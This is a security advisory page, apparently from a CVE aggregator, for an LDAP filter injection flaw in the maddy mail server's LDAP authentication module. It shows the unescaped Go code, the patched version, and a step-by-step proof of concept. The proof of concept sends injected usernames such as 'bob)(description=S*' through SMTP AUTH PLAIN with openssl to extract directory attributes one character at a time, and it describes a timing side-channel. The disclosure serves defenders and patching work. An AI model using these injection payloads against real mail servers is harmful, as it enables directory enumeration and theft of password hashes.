🛡️ CVE-2026-40193 — maddy
Description
Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username
Summary
The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.
Patched version
Upgrade to maddy 0.9.3.
Details
Affected file: internal/auth/ldap/ldap.go
Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:
1. Lookup() — line 228 (filter injection)
```go
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
// ...
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
```
2. AuthPlain() — line 255 (DN template injection)
```go
func (a *Auth) AuthPlain(username, password string) error {
// ...
if a.dnTemplate != "" {
userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING
```
3. AuthPlain() — line 260 (filter injection)
```go
} else {
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
```
The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.
No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.
PoC
Prerequisites:
- A maddy instance configured with
auth.ldapusing afilterdirective - An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)
Step 1: Vulnerable maddy configuration
```
auth.ldap ldap_auth {
urls ldap://ldapserver:389
bind plain "cn=admin,dc=example,dc=org" "adminpassword"
base_dn "ou=people,dc=example,dc=org"
filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}
submission tcp://0.0.0.0:587 {
auth &ldap_auth
# ...
}
```
Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).
Step 2: Verify normal authentication works
```bash
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
```
Step 3: Boolean-based blind LDAP injection (attribute extraction)
An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.
```bash
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.
```
For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:
- 0 entries matched (line 270): returns
ErrUnknownCredentialsimmediately — fast - 1 entry matched, bind fails (line 275): performs
conn.Bind()over the network, then returns — slow (adds LDAP bind round-trip latency)
Both return SMTP 535
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.
Weakness class
CVE-2026-40193 is classified as CWE-90: LDAP Injection. Input is placed into an LDAP query without neutralisation, allowing the directory lookup to be rewritten.
Affected software
CVE-2026-40193 is recorded against 2 packages.
- github.com/foxcpp/maddy
- maddy (fixed in 0.9.3)
Timeline and source
Published on 13 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/foxcpp/maddy | — | — |
| maddy | — | 0.9.3 |
References
Similar Threats
- Unknown GO-2022-0374
- Unknown GO-2022-0378
- Critical CVE-2023-27582
- Medium CVE-2022-24732
- High CVE-2021-42583
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is maddy part of your stack?
CVE-2026-40193 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.